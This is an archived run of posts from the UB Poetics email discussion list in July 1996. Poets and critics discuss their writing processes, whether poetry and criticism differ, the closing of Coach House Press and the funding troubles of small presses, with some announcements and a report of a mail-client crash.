3) Dawn Powell-- MY HOME IS FAR AWAY, and the diaries. Funny, tart, and totally unmistakably WRITTEN if not experimental.

4) And as if I am plugged in to poetics even when not, Notley (UNBORN SECOND BABY book), the Niedecker TRUCK issue, and Larry Eigner (the Oyez Selected, which I found in a remote poetry section of a bookstore which is the house of this guy who, I discovered, translates Trakl)

5) Wasatch Winter Trails (for insomnia)

6) Paul Gilroy's Black Atlantic book

and 7) lots of stuff for courses I've got to teach in the fall, including an intro to lit theory for majors. If anyone's ever had a kind of theory or poetics break-through/breakout/breakdown (or whatever!) enmeshed in a text, I'd love to hear about it... I remember feeling those paradigms shift as I struggled to read, and then finally DID read Derrida's "White Mythology." You know the feeling: the blood carbonates, the long workvistas open, the sleep goes... etc. And so what is teaching? i wonder

Bye for now-- Marisa

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439. **Lisa Samuels**

*Re: Critics *vs.* poets? What I miss here are criticisms of poetic*

Mon 15 Jul 1996

---

dear rob hardin,

in response to the last part of your 11 July post:
how one writes poems. for me the process is very
like a verbal string theory at work, or the physical
way i used to imagine string theory: under a
particular kind of emotional and intellectual pressure,
a phrase or title comes into my mind. like, say,
"Hyperplastic iconography buffers". i sit at the
computer fairly soon after that verbal occurrence
and begin to write. the form of the poem asserts
itself, usually, pretty quickly: either it wants space
and dislocation among its phrasal pieces, or it
wants a compression or intimacy. the pieces
themselves seem to feed out one from the other,
according to some distended story-like material
that floats around in the background of unreal
images, or according to a pattern of sound-connectives,
or according to a seemingly self-generating vision
of space and color for which it is necessary to
imagine words. or all three. this describes, to some
extent, a poetic trance, i realize, and tremendous
poetry gets written with a much higher degree of
compositional consciousness in the moment of the
writing. but not by me; or anyway not since i started
to write without worrying about whether i was making
sense. so i end up with work like these two samples,
(each is only the first section of two different poems,
and the spacing is not quite right here):

---

(1) Iconoclastic relationship to suffering

there is no clean verso to crawl under, anyway nominal

    crisp devolution into status angles, mine and yours
      and the terminal pathos in between

wrecked integer of head modules, the ones we saw and
sawing, made wooden
in other

words
gone bad in their fidelity, construed according

shaped as armlessly as this one

for when the parachute falls, it's no descent at all
not kin, not dementia-held

but when I found it striking, you were

not in the air, not plugged in the outlets

entirely unlit schema

---

and (2) The stupefaction of her clothes

Informal synaloepha: let's get dressed
upon the luminous imaginary bed

of idea's thetic absolute,
the migratory information spread around.

The form of crows, the wing of wings,
wholesome dilatory things, creeping through

rapt dreaming, adjust the head's
coarse irradiance, a search

to realign a steadiness
the lungs translate, the body glides

not as though time is a gift, not as if
one were made for it

---

and so on. the slow pondering of the made poem
happens afterwards, not during, and revision is for me
a process of chipping away what seems redundant
or unnecessary pieces of word-wood, let's say, from
the primary sculpture, and sometimes in reimagining
how the spacing should go, whether to introduce more
air among the words, or less.

long enough.

yours,

lisa samuels

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440. filch
Re: Beatle Bones and Smokin' Stones
Sat 15 Jul 1995

Didnt they have
>fifties and sixties and seventies in the rest of the world?

Actually George, no, they did not.

↑ Index

441. Charles Alexander
*Re: Critics *vs.* poets? What I miss here are criticisms of poetic*
Mon 15 Jul 1996

Thanks, Lisa, for the description of the texture of your writing process. It sounds, in its own way, like a personal adaptation (although not necessarily consciously adapted at all) of Olson's sense of composition by field. I particularly like the way you articulate the conscious process of listening/writing/attending to the work as it comes, with some sense of the revision as simply a further listening to what matters.

For me part of this process also involves materials. For example, in one work in progress I am writing on some paper saved from being thrown away somewhere. The sheets are 11 x 17 and I am writing on them by hand, virtually filling the sheet from top to bottom, although there is no constant left or right margin. But again, like you, as soon as I began, this ragged completion of space seemed to be the demand of the materials, including the writing as it emanates, the hand & pen in action, and the paper as it exists. The primary revision is then enacted during the translation from this medium to word processing file on the computer. At the same time I'm working on something else considerably different, poems of mid-length lines, 13 lines each, very orderly on the page, although that order belying a consistency of invention throughout and a lack of "finished-ness." These poems are composed at one sitting each at the computer keyboard. But this work too is conditioned by the writing of the first piece in this series, which actually predated the continuation by a few months. What both of these distinct works share is a lack of interest in completion, so that they both now have several installments and are at the point where I am wondering if their form will change, if more complexity of shaping will be part of the evolution, and if varying senses of completion will begin to enter in.

thanks again for opening up this conversation.

charles

> *a phrase or title comes into my mind. like, say,*
> *"Hyperplastic iconography buffers". i sit at the*
> *computer fairly soon after that verbal occurrence*
> *and begin to write. the form of the poem asserts*
> *itself, usually, pretty quickly: either it wants space*
> *and dislocation among its phrasal pieces, or it*
> *wants a compression or intimacy. the pieces*
> *themselves seem to feed out one from the other,*
> *according to some distended story-like material*
> *that floats around in the background of unreal*
> *images, or according to a pattern of sound-connectives,*
> *or according to a seemingly self-generating vision*
> *of space and color for which it is necessary to*
> *imagine words. or all three. this describes, to some*
> *extent, a poetic trance, i realize, and tremendous*
> *poetry gets written with a much higher degree of*
> *compositional consciousness in the moment of the*
> *writing. but not by me; or anyway not since i started*
> *to write without worrying about whether i was making*
> *sense. so i end up with work like these two samples,*
> *(each is only the first section of two different poems,*
> *and the spacing is not quite right here):*
>
> *and so on. the slow pondering of the made poem*
> *happens afterwards, not during, and revision is for me*
> *a process of chipping away what seems redundant*
> *or unnecessary pieces of word-wood, let's say, from*
> *the primary sculpture, and sometimes in reimagining*
> *how the spacing should go, whether to introduce more*
> *air among the words, or less.*
>
> *long enough.*
>
> *yours,*
>
> *lisa samuels*

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442. **Rod Smith**
Re: The High Points
Mon 15 Jul 1996

Jordan wrote:
>Rod--what are the conditions on that use? Terms of >rental? (Or, how to get closer, to be more [perpetually] useful?) J

Well J, let's just say I didn't want to depend on my painting for a living.

Rod

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443. **Jerry Rothenberg**
Re: Hisao Kanaseki
Mon 15 Jul 1996

---

dear Akitoshi Nagahata --

I heard of Kanaseki's death from Ito Hiromi, who has been staying up the street from us and with whom I had sent a fax to Kanaseki and had spoken to his wife only the day before. It was thru Kanaseki that I came to know Hiromi and many others in Japan, and we (my wife and I) were very much looking forward to seeing him again this November. We knew each other from the time that he was working on his book about (and of) American Indian poetry and he got in touch with me through Dan MacLeod and possibly Gary Snyder. He was, as far as I could tell, bound to no school or academic mode of criticism as such, but his devotion to poetry and those who made it was very real and very moving. He was an active and experimental (adventurous) reader and enthusiast, who must have seen some kind of bridging as a primary function of his work as critic/scholar. We felt very needed in his presence and feel immensely saddened by his loss.

If there is to be any memorial or any way of contributing to a memorial, please let me know.

Jerome Rothenberg
[redacted]

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444. **filch**
BookStore
Sat 15 Jul 1995

(Thanks again to Charles Alexander et al. for putting me in touch with Living Batch)(My near neighbors right next door in New Mexico!!)

Of course one of the best book stores around. Sorry to hear about the death of the salt of the earth.

↑ Index

445. **Judy Roitman**
Wittgenstein
Mon 15 Jul 1996

Rod Smith wrote
> Also, I generally don't find Witt
>"linear" but definitely cumulative.
>

How about simultaneous?

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

446. **Rod Smith**
Re: [redacted]
Mon 15 Jul 1996

GB wroted:
>Is Pierre the spirit of the new age?

This not to do with Pierre, but just to mention--
Anselm calls it "newage" pronounced with similar inflection as, yes, you guessed it,
sewage.

R

↑ Index

447. **David Baratier**
tag teamsters local 354 (poet vs critic)
Mon 15 Jul 1996

I got the feeling from these posts that the subject had shifted from earlier discussions on "can a poet be a critic also?" into one about how a mutual relationship can or does exist. And this is off the subject a bit, but I'm tired of a bunch of whinny-ass "poets" telling me about academia ruining writers. As if

this was a situation unique to employees of a university. This insider/outsider status a lot of these folks are ego-tripping on is a large load, as an outsider why does one claim the marginalia as a methodology to defeat the inner sanctum(ie Here outside of the academic realm _our_ ideas are purer because we are not in danger of being assimilated into the "university sameness" of ideology, do not have free funding for our journal like the academics who publish each other (ad infinitum), or do not have our writing diluted through a desire for tenure). As if claiming the outside gives a righteous stance of finger pointing. They did this to us, give me sympathy, or one of them NEA funded pick-up trucks. Sorry to drop the bomb, but my continual experience with the outside non-academia has a similar and substantitive threat of ruining your writing, bucko. None of this is to say the academics are off the hook either, I could live without about a half-dozen of the I'm having problems with tenure or I don't go to non-university sponsored readings because the quality is suspect types of discussions. As if we sit in the audience and say: there's one of them university critters from the mansion on the hill, guess they wanted that yearly check-up so they'd have some thing real to write about. As if anywhere is less real than here. Hello, I'm a publisher and editor on the tenth floor of a white tower in a creative corporate environment, therefore my experience is more valid(as informed by the real world) but less crafted (ie not academically supported). This is the foundation peg I have been expected to lie in, come visit me and tack on your framework joineries. I think the validity of the writing accomplished during a particular period is a question whose answer lies in universal determinates, where the natural human desire for comfort does not simply equate to a particular writer's complacency and stability occurs in what ever bastion it arrives.

Paul - erasist vibes coming your way--
Jordan - Suburbs present us with a negation of the present, a
landscape consumed by it's past and present.
Rod - If you don't know why do you ask? Still chewing.
Henry - Everyone does everyone. Recherche!!!!
Be well.

Davbid Baratier

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448. **Mark Wallace**
poetry and criticism as the same
Mon 15 Jul 1996

Dear Bill Marsh and others:

A quick thanks to Henry Gould and Charles Alexander for making some valuable additions to my remarks about poets and critics, and to you, Bill, and some others for asking me helpful questions.

Let me see if I can briefly answer your question.

Theoretically, and aesthetically, the difference between poetry and poetry criticism can be easily and successfully collapsed.

Sociologically, except for a few avant garde publications, the difference between poetry and poetry criticism is absolute. For proof of this, please try to send one of your own, highly theoretical (and successfully so) poems to a standard academic journal, or any magazine that pays contributors, and tell them that it is criticism. Or, were you working at a university, turn in your published collection of poems to a tenure committee for evidence that you have been "critically active."

I pay attention to aesthetic and philosophical questions because I enjoy them.

I pay attention to sociological problems because I have no choice.

Frankly, I'm still enough of a Marxist to believe that sociological conditions determine artistic production--although the weakness of much Marxist criticism has been its tendency to oversimply what is meant by "determine." What that means is that I do not think there are any purely "aesthetic" questions.

Thus, the fact that we can aesthetically collapse the distinction between poetry and poetry criticism does not mean that anything of sociological significance has changed, at least to any significant extent.

I do not really understand Robert van Halleburg in his recent debate with Al Nielsen when he starts talking about "sociological" readings of poems as separate from some other possibilities for reading poems. I'm pretty much convinced there are ONLY sociological readings, and that the whole history of "close reading" itself is based in social phenomena. The difference is between readings that recognize their social conditions, and those that are under the illusion that they transcend them.

The extent to which my poetry raises questions that can be discussed as purely "aesthetic" rather than sociological is the extent to which my poetry, or its readers, have failed to understand what is at stake.

mark wallace

(please excuse any typos over this long distance, semi-functional modem)

/----------\ |
| | [redacted] "I have not yet begun | |

to go to extremes" || GWU: | | http://gwis2.circ.gwu.edu/~mdw || EPC: || http://writing.upenn.edu/epc/authors/wallace || |_____|

↑ Index

449. **maria damon**
Re: of the whole art/spam two generations
Mon 15 Jul 1996

In message <[redacted]> UB Poetics discussion group writes:
> >
> > >>On Fri, 12 Jul 1996, George Bowering wrote:
> > >>
> > >>> >Hi. What's the unconscious?
> > >>> >
> > >>> >Jordan
> > >>>
> > >>> I dont know what yr talking about.
> > >>
> > >>Nor do I, you.
> > >>
> > >>Tristan
> > >
> > >
> > >--Neither do I, I.
> >
> >
> > i do not i
> >
> id, we're getting closer!

super!

↑ Index

450. **maria damon**
Re: text/language
Mon 15 Jul 1996

thanks for the "divination" stuff; i like that as a notion of "reading" --one last quickie about weaving (sorry about the pomposity of my earlier post about how i "became a weaver"..."writer"...) --one of the things that charms me about

weaving is the technical terms, which are childish and fun: "shuttle," "heddle," "treadle" (pronounced "treddle"), "raddle," "bobbin." can any of you linguists shed light on why these terms might be the way they are? (backchannel wd be cool, so as not to distract others with this sidelight)--md

↑ Index

451. **maria damon**
Re: [redacted]
Mon 15 Jul 1996

---

yes indeed, happy birthday, hope yr out reveling in sun and joy, and here's to another 50 just as fab.
md

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452. **Tony Green**
Re: critics vs. poets (tag team round three)
Mon 15 Jul 1996

Rob Hardin: one more word (repeated ad lib) " doleful "

Tony Green,
e-mail: [redacted]

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453. **Peter Quartermain**
eudora crash
Mon 15 Jul 1996

(Still sending, not receiving)

For those who need to know, and for Bill Marsh in especial:

EUDORA crashed because the server sending Bill Marsh's message dates his message
--wait for it!!!--
1969
instead of 1996.
This is known to Eudora (their technicians tell me) as a BAD DATE
for which you get the message "Application Error Integer Divide by Zero".

So I set my system up again, having had my server delete Bill Marsh's messages, got going nicely, and dammit there was another one! The bad date does not affect Winsock (which I use to interface) but does affect Netscape and Eudora, on a PC486 (memory is no problem that i can see on my machine) -- it has

no effect on a MAC. Once again I have lost half my mail (downloaded and then scrambled / garbled by a second wrong date -- origin unknown: you again, Bill?))

In any case, I'm off-line till 1 August; I can however download (horribly, and sort of) through Windows 3.1 Terminal (yuck) till I fix myself up again.

Madre dios!

Peter.

+ + + +

456. Tony Green
Re: of the whole art/spam two generations
Mon 15 Jul 1996

> *On Fri, 12 Jul 1996, George Bowering wrote:*
>
> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*
>
> *Nor do I, you.*
>
> *Tristan*
>
> *--Neither do I, I.*
>
> *i do not i*

--Oh, I'll bet you I from time to time.

-- no,no no, no, meaning yes

Tony Green,
e-mail: [redacted]

↑ Index

457. trace s. ruggles
Re: the texture of poetry
Mon 15 Jul 1996

---

considered the world of texture
    in a poem

listened to my body
went to the poetry room (as
    opposed to the short story room)
heard the soundvoice who
    doesn't exist with the audible (went
    to the syntax room)
processed a line
of energy through
    head neck chest abdomen crotch

then turned to edit as another
        being
being
emptied space and filled space
one word as another
moves an
other wise simple page

i don't know exactly what i'm saying but this whole business is so damn organic that the 'voice' that exists is something larger than me and comes through me, filtered with the body, the body as a resonance tool

and it all creates a tactile song apprehended but once and remembered many times

how do we forget what we've done to make another?

---

trace
(from the vermin lurkers...)

↑ Index

458. Aldon L. Nielsen
Re: Kweisi he calls me
Tue 16 Jul 1996

Won't have time after all to post that report on the Bob and Elizabeth Dole book signing at Westwood Borders -- Just let me tell you it's not true what they say about me "setting them up." Nor was that me in the big cigarette suit -- Noticed, by the way, that Mr. Cigarette got more requests for autographs than did Bob & Elizabeth -- But Mr. Cig. probably has a larger constituency --

BUT THE REAL POINT OF THIS NOTE is to say that I'm going away for six days -- will leave mail ON so as to receive any additional stabs at that poem I posted here for the contest -- Several VERY good efforts so far (and Alan Golding figured out by means of literary history that it could not be the poet most people were guessing) -- Will check mail for first correct answer when I get back & will then post the awful truth of that poem -- (This is not a particularly tricky one, by the way -- This is a poet you've all heard of)

↑ Index

459. Gabrielle Welford
Re: of the whole art/spam two generations
Tue 16 Jul 1996

> >>>> >Hi. What's the unconscious?
> >>>> >
> >>>> >Jordan
> >>>>
> >>>> I dont know what yr talking about.
> >>>
> >>>Nor do I, you.
> >>>
> >>>Tristan
> >>
> >>
> >>--Neither do I, I.
> >
> >
> >i do not i
>
> --Oh, I'll bet you I from time to time.
>
> -- no,no no, no, meaning yes
>
i yes i yes i you

↑ Index

460. George Bowering
Re: of the whole art/spam two generations
Tue 16 Jul 1996

> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *I dont know what yr talking about.*
>
> *Nor do I, you.*
>
> *Tristan*
>
> *--Neither do I, I.*

> *i do not i*
>
> *--Oh, I'll bet you I from time to time.*
>
> *-- no,no no, no, meaning yes*
>
> *i yes i yes i you*

:oh, yez, I ewes too
but no now, no I i's

.....
"a vivid weightless bean"
--A. Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

461. Carnography
Re: text/language
Tue 16 Jul 1996

maria damon typed:

> *(sorry about the pomposity of my earlier post about*
> *how i "became a weaver"..."writer"...)*

What do you mean "pompous?" Your lack of pomposity was evident (you weren't lecturing anybody), and you were far too informative to be accused of self-absorption. Like any really good performance poet (Dael Orlandersmith) will attest, autobiography is just a mode. To confuse autobiography for narcissism is to mistake the writer's approach for the quality of the writer's attention.

> *--one of the things that charms me about weaving is the technical terms,*
> *which are childish and fun: "shuttle," "heddle," "treadle" (pronounced*
> *"treddle"), "raddle," "bobbin." can any of you linguists*
> *shed light on why these terms might be the way they are? (backchannel*

"Linguists?" You don't need to be a linguist to study the origins and sounds of words. Your weaver's lexicon sounds far too fun.

> *wd be cool, so as not to distract others with this sidelight)--md*

Etymology isn't off-topic on a poetics list. The subject certainly leaves me more interested than impatient.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

462. Carnography
Re: critics vs. poets (tag team round three)
Tue 16 Jul 1996

Tony Green:

> *Rob Hardin: one more word (repeated ad lib) " doleful "*

And you'd like this ||:word:|| to be repeated in response to...Melville's poetry?

§

Still thinking about Lisa, trace, and Charles's recent missives concerning their real-time approaches to composition. It's a pleasure to read people speaking about their work.

§

And no, my interest in fugitive theory doesn't mean I'm anti-academic. It merely means that I'm researching other approaches to theory. So far as I know, that knd of research was one of the primary critical activities of many of the educated (but not always tenured) poets we discuss in UB Poetics.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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463. cris cheek
Carla Harryman and Barrett Watten
Tue 16 Jul 1996

A Reading Performance by North American Language Writing Artists, Carla Harryman and Barrett Watten. (part of this year's East International)

Date: Wednesday 17 July at 15.00
Venue: Riverside Lecture Theatre, Norwich School of Art and Design, St Georges Street, Norwich (phone 01603 610561)

all are welcome and admission is Free

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464. **Kevin Killian**
Re: press survival
Tue 16 Jul 1996

At 1:23 PM 7/16/96, Charles Alexander wrote:

> *And here's possibly a devil's advocate thought, concerning the demise of Coach House. That is, part of my experience with the institutionalization and bureaucratization of nonprofit arts and publishing since I've been in the Twin Cities has only reinforced my feelings that many institutions live past their richest artistic periods as they achieve stabilization. Often such stabilization means doing work which is more fundable and which can demonstrate reaching larger audiences. Certainly art & literature needs those audiences, and those audience needs deserve to be met.*

Charles,

I'm sure you've written grants and are aware how hard it is to write grants for the desperately-need funding a nonprofit needs--how difficult it is to keep true to the mission of the org and yet please the whims of funders. Increasingly on grant applications I'm seeing, audience development seems to be a bigger and bigger focus--sometimes it seems the actual programming is an after-thought. Putting on experimental poetry readings for a bunch of over-served snobs (which is what I think my programming would look like to many funders) is not going to be seen as audience development, even though SPT's audiences are quite large by poetry standards. Looking at grant applications I often think, "Now how can I sneak in an intelligent project." It's not easy. Sometimes it seems that literature has it worse than other arts. It's not all that rare to see interesting projects in visual arts funded, but for literature it's heart-strings projects all the way. I was a judge for one artist in residency program, and consistently there was a high intellectual standard for visual arts, whereas when I tried to get an award for a white male experimental poet I practically got laughed out of the room. Recently SPT got to the second round for one of those grants that cycle through disciplines--the year before, visual arts was the category, and I was impressed with some of the awards. But the literature awards the year we applied were gruesome. When I read them to our graphic designer, he said they sounded like topics for the Rickie Lake Show.

Just needed to bitch.

Dodie

↑ Index

465. **Michael Boughn**
Bad news
Tue 16 Jul 1996

The bad news here this a.m. is the announcement of the closing of Coach House Press, much esteemed publishers of Robin Blaser, George Bowering, Michael Ondaatje, Sharon Thesen, and many many others, after 31 years due to the continuing implementation of knee-jerk neo-con economics by the provincial and federal governments. Chalk up another victory for the New York bankers.

Mike
[redacted]

↑ Index

466. **Alan Sondheim**
Coach House
Tue 16 Jul 1996

CH is closing? I can't believe this - the best editions of Nicole Brossard in English... it's hard enough to get hold of Quebecois work in translation outside Mtl.... Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Canis caninam non est.

↑ Index

467. **maria damon**
Re: Bad news
Tue 16 Jul 1996

---

this news is really sad. i'm sorry and mad. what next.--md

In message <[redacted]> UB Poetics discussion
group writes:
> The bad news here this a.m. is the announcement of the closing of
> Coach House Press, much esteemed publishers of Robin Blaser, George
> Bowering, Michael Ondaatje, Sharon Thesen, and many many others, after
> 31 years due to the continuing implementation of knee-jerk neo-con
> economics by the provincial and federal governments. Chalk up another
> victory for the New York bankers.
>
> Mike
> [redacted]

↑ Index

468. **Lisa Amber Phillips**

Re: Coach House (re-post due to delivery failure)

Tue 16 Jul 1996

From: IN%"[redacted]" "PMDF Mail Server" 16-JUL-1996 10:34:11.42 To: IN%"[redacted]", IN%"[redacted]" CC: Subj: Undeliverable mail: SMTP delivery failure

(PMDF V4.3-10 #10451) id <[redacted]>; Tue,
16 Jul 1996 10:34:05 -0500 (EST)
Date: Tue, 16 Jul 1996 10:34:05 -0500 (EST)
From: PMDF Mail Server <[redacted]>
Subject: Undeliverable mail: SMTP delivery failure
To: [redacted], [redacted]

--Boundary (ID PxZB22RCVXxwGm025Ae1zw)

The message could not be delivered to:

Addressee: [redacted]
Reason: Illegal host/domain name found.

--Boundary (ID PxZB22RCVXxwGm025Ae1zw)

(PMDF V4.3-10 #10451) id <[redacted]>; Tue,
16 Jul 1996 10:34:02 -0500 (EST)
Date: Tue, 16 Jul 1996 10:34:02 -0500 (EST)
From: [redacted]
Subject: Re: Coach House
To: [redacted]

Mike, I'm interested in the details behind "the continuing implementation of knee-jerk neo-con economics by the provincial and federal governments." What, in your view, are the particulars of those kinds of economics? I ask because in the last year, in conversation with one or two people who publish poetry (at the moment I'm thinking of Sam Hamill of Copper Canyon Press), I've gotten the distinct impression that there are a great number of small presses out there who are in more danger than usual of going under. I have also gotten the impression that, due to the always-rising costs of publishing (especially the price of paper), small presses have become increasingly dependent upon grants from governmental arts institutions like NEH, which have of course recently and drastically reduced funding due to their own decreased funding b by Congress. Since small presses publish a very high percentage of the contemporary poetry in this country--especially experimental work--then I also get the impression that poetry itself is in some danger; not only will the already-published works of

poets like Robin Blaser and Sharon Thesen fall out of print (which is tragic), but there will be fewer places and opportunities for poets to publish as well (which is also tragic).

The next question I want to ask (because I've been turning it over in the back of my mind for some months now and would be interested in other viewpoints) is: Is it possible for small presses of today to remove themselves from live-or-die dependence upon the fickle funding of governments, or avoid it altogether, or are publishing costs just too high and returns on sales too small? And, are there any alternatives to this situation to keep distributing the work of contemporary writers (I know there are, but I want to hear suggestions from others, as well as pro-and-con evaluations of those alternatives if there are any). I'd especially be interested in hearing from those who are currently publishing contemporary poets. Thanks.

Lisa Amber Phillips
[redacted]

--Boundary (ID PxZB22RCVXxwGm025Ae1zw)--

↑ Index

469. **Charles Alexander**
Re: BookStore
Tue 16 Jul 1996

> *(Thanks again to Charles Alexander et al. for putting me in touch with Living Batch)(My near neighbors right next door in New Mexico!!)*
>
> *Of course one of the best book stores around. Sorry to hear about the death of the salt of the earth.*

And of course if you're looking for rare first editions, out of print poetry, limited edition handmade books, etc., in Albuquerque, you have to check out Passages, begun a few years ago by the incomparable David Abel (some in New York will know David from the Bridge Bookstore several years ago there). His email is
[redacted]

charles

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470. **Charles Alexander**
Re: eudora crash
Tue 16 Jul 1996

I'm sorry for everyone's Eudora problems. And while glad to see my friend Bill Marsh's name here so much, I'm sorry it's in such a circumstance. I had a feeling the problem might be with someone's internet service provider.

But I'm puzzled about presumably all the systems, including my own, which weren't affected at all. And mine is a PC, not a MAC, running Windows 3.11, Eudora, Netscape, etc.

charles

>(Still sending, not receiving)
>
>For those who need to know, and for Bill Marsh in especial:
>
>EUDORA crashed because the server sending Bill Marsh's message dates his message
>--wait for it!!!--
> 1969
>instead of 1996.
>This is known to Eudora (their technicians tell me) as a BAD DATE
>for which you get the message "Application Error Integer Divide by Zero".
>
>So I set my system up again, having had my server delete Bill Marsh's
>messages, got going nicely, and dammit there was another one! The bad date
>does not affect Winsock (which I use to interface) but does affect Netscape
>and Eudora, on a PC486 (memory is no problem that i can see on my machine)
>-- it has no effect on a MAC. Once again I have lost half my mail
>(downloaded and then scrambled / garbled by a second wrong date -- origin
>unknown: you again, Bill?))
>
>In any case, I'm off-line till 1 August; I can however download (horribly,
>and sort of) through Windows 3.1 Terminal (yuck) till I fix myself up again.
>
>Madre dios!
>
>Peter.
> + + +

> Vancouver
> B.C.
> Canada V5V 1X2
> Voice and fax: [redacted]
>
> + + +

472. Charles Alexander
press survival
Tue 16 Jul 1996

> *Mike, I'm interested in the details behind "the continuing implementation of knee-jerk neo-con economics by the provincial and federal governments." What, in your view, are the particulars of those kinds of economics?*

There is certainly a relationship between conservative politics and the de-funding of the arts in America, and probably in Canada, although I know much less about that. And the more limited funding tends, in my view, to go to the most established presses publishing the most commercially palatable/successful literature. Although even those presses are struggling more than usual (but it would be wrong to deny that it has always in this century and probably before been a struggle to publish literature of practically any kind). In addition, with national funding cutbacks there were many hopes that more funds could be leveraged in state legislatures to replace lost federal dollars for the arts. For the most part, in most states, the opposite may be happening. States are saying they can't & won't replace the federal dollars, and in many cases are cutting back their own dollars. Most states are as politically conservate as the federal government, if not moreso, and this absolutely effects arts funding.

> *I ask because in the last year, in conversation with one or two people who publish poetry (at the moment I'm thinking of Sam Hamill of Copper Canyon Press), I've gotten the distinct impression that there are a great number of small presses out there who are in more danger than usual of going under.*

Yes, they are. See above.

> *I have also gotten the impression that, due to the always-rising costs of publishing (especially the price of paper), small presses have become increasingly dependent upon grants from governmental arts institutions like NEH, which have of course recently and drastically reduced funding due to their own decreased funding b by Congress.*

Paper costs are actually descending once again, and I am not finding it considerably more expensive to publish books this year than five or six years ago. But I am finding it more difficult to find dollars to pay the costs, and somewhat more difficult to distribute & sell books, although this is somewhat offset by the advantage of having been at it now for several years, and the audience-building that the ongoing activity achieves. The NEH almost never funds small presses, unless the activity is specifically scholarly. The NEA has consistently funded a small number of presses, although the record with regard to more experimental/innovative poetries has been spotty.

> *Since small presses publish a very high percentage of the contemporary poetry in this country--especially experimental work--then I also get the impression that poetry itself is in some danger; not only will the already-published works of poets like Robin Blaser and Sharon Thesen fall out of print (which is tragic), but there will be fewer places and opportunities for poets to publish as well (which is also tragic).*

This is not so clear to me. There seem to be more journals popping up each year, although they are not necessarily long-lived. Also, the possibilities of electronic publishing and distribution have barely been tapped. And the presses which perhaps have the best chance of survival are the micro-presses publishing chapbooks off the desktop and keeping expenses at the minimum. I think this is all good news, and we may have to lose some of our hierarchical ideas about what constitutes an important book (looks of book, whether or not we find it in many bookstores or in creative independent channels, etc.)

> *The next question I want to ask (because I've been turning it over in the back of my mind for some months now and would be interested in other viewpoints) is: Is it possible for small presses of today to remove themselves from live-or-die dependence upon the fickle funding of governments, or avoid it altogether, or are publishing costs just too high and returns on sales too small?*

There are some presses which do so. The answers here are as multiple as the presses. A recent article in Publishers Weekly (perhaps a couple of months ago) was by the director of The Permanent Press and discussed that press's ability to keep afloat, not as a nonprofit organization. I would certainly not encourage new presses beginning now to go the nonprofit corporation route, at least not without some deep thought and research about it. On the other hand, I don't think I'd yet encourage those who already have that status and have learned how to work with it, to throw it out the window. But no doubt about it, presses are going to have to be creative in developing survival strategies.

> *And, are there any alternatives to this situation to keep distributing the work of contemporary writers (I know there are, but I want to hear suggestions from others, as well as pro-and-con evaluations of those alternatives if there are any). I'd especially be interested in hearing from those who are currently publishing contemporary poets. Thanks.*

I certainly would like to hear other ideas about this as well. Thanks to Lisa Amber Phillips for bringing it up.

charles

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473. Judy Roitman
Re: press survival
Tue 16 Jul 1996

> *... we may have to lose some of our*
> *hierarchical ideas about what constitutes an important book (looks of book, whether or not we find it in many bookstores or in creative independent channels, etc.)*

But combined with the dominance of B&N & Borders, and the resulting difficulties of independent bookstores, how will these creative independent channels flourish, and how will people find them?

This is a serious question. There is (always -- the natural course of things) too much of an insider/outsider situation, and a whole school of writing going samizdat will make things worse.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

474. Carnography
Re: Coach House (re-post due to delivery failure)
Tue 16 Jul 1996

Lisa Amber Phillips typed:

> *The next question I want to ask (because I've been turning it over in the back of my mind for some months now and would be interested in other viewpoints) is: Is it possible for small presses of today to remove themselves from live-or-die dependence upon the fickle funding of governments, or avoid it altogether, or are publishing costs just too high and returns on sales too small?*

My fellow editors and I at _Sensitive Skin_ have been wondering exactly the same thing. It is easy enough for us to sink dough into an issue of the magazine when we've each got lots of freelance work (see 89-92). But when we're coasting financially, like we are now, there is absolutely nowhere to turn. For two years, we've tried for grants without success. In our current unpublished issue, we've got original work by Luc Sante and Lynne Tillman, an unpublished interview with William Burroughs conducted by Ginsburg, and photographs by Richard Kern. None of this work is particularly difficult (except, subtly, for Lynne's), yet no one has given us the financial time of day. Not to be able to find

the backing to publish a Burroughs issue in 1996 seems tragic if not downright mystifying.

My strategy in editing SS and other magazines has always been to use names to attract readers, but to concentrate on promoting writers who are relatively obscure. If we can't find the funding to publish Burroughs, then how will we publish the diffcult writing that people ought to know? Autonomedia has faced similar problems; Prof. Doug Rice has been publishing his magazine _Nobodaddies_, out of his own pocket. Are the arts to follow a kind of economic arch form? Have we reverted from the financial independence of Beethoven to the patrons of Haydn and Mozart? And if so, what literate millionaire is going to understand the writing of, say, Rae Armantrout? I've just been speaking to the heir to Prentice-Hall; let's just say that he is interested in reportage and despises the entire notion of literature, of fiction and poetry, on principle. I wouldn't trust him to write a literate sentence, let alone to value important or difficult work.

Defunding, I think, is partly at fault for the dumbing of readings that people complain about in UB Poetics. Lowest common denominators begin to look good to artists who are fighting for economic survival. What we're dealing with, of course, is financial censorship. A kind of _On the Waterfront_ close-out of artists who don't reflect the Deaf, Dumb & Dumber values of the culture.

It's odd, how _Skin_ eds have begun to look at publishing in terms of escape from financial famine. Just get to Germany, we've been thinking. Get the magazine to Europe and tap our resources there.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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475. Carnography
Re: BookStore
Tue 16 Jul 1996

Charles Alexander typed:

> *And of course if you're looking for rare first editions, out of print poetry, limited edition handmade books, etc., in Albuquerque, you have to check out Passages, begun a few years ago by the incomparable David Abel (some in New York will know David from the Bridge Bookstore several years ago there). His email is* [redacted]

Thanks, Charles. David's bookstore, The Bridge, was the only one of its kind in NYC: no one else was interested promoting in difficult poetry and prose. The Bridge was only bookstore here to face-out the entire Sun & Moon catalog, the

only place where you might enter into a conversation about Clark Coolidge, to have a book-signing party for Robert Pinget. You should have seen how moved Pinget was by David's interest.

The Poetry Project was always interested in a kind of interdisciplinary pop culture strategy that I don't find particularly useful as a writer. David was our resident monk, our interlocutor. We miss him sorely.
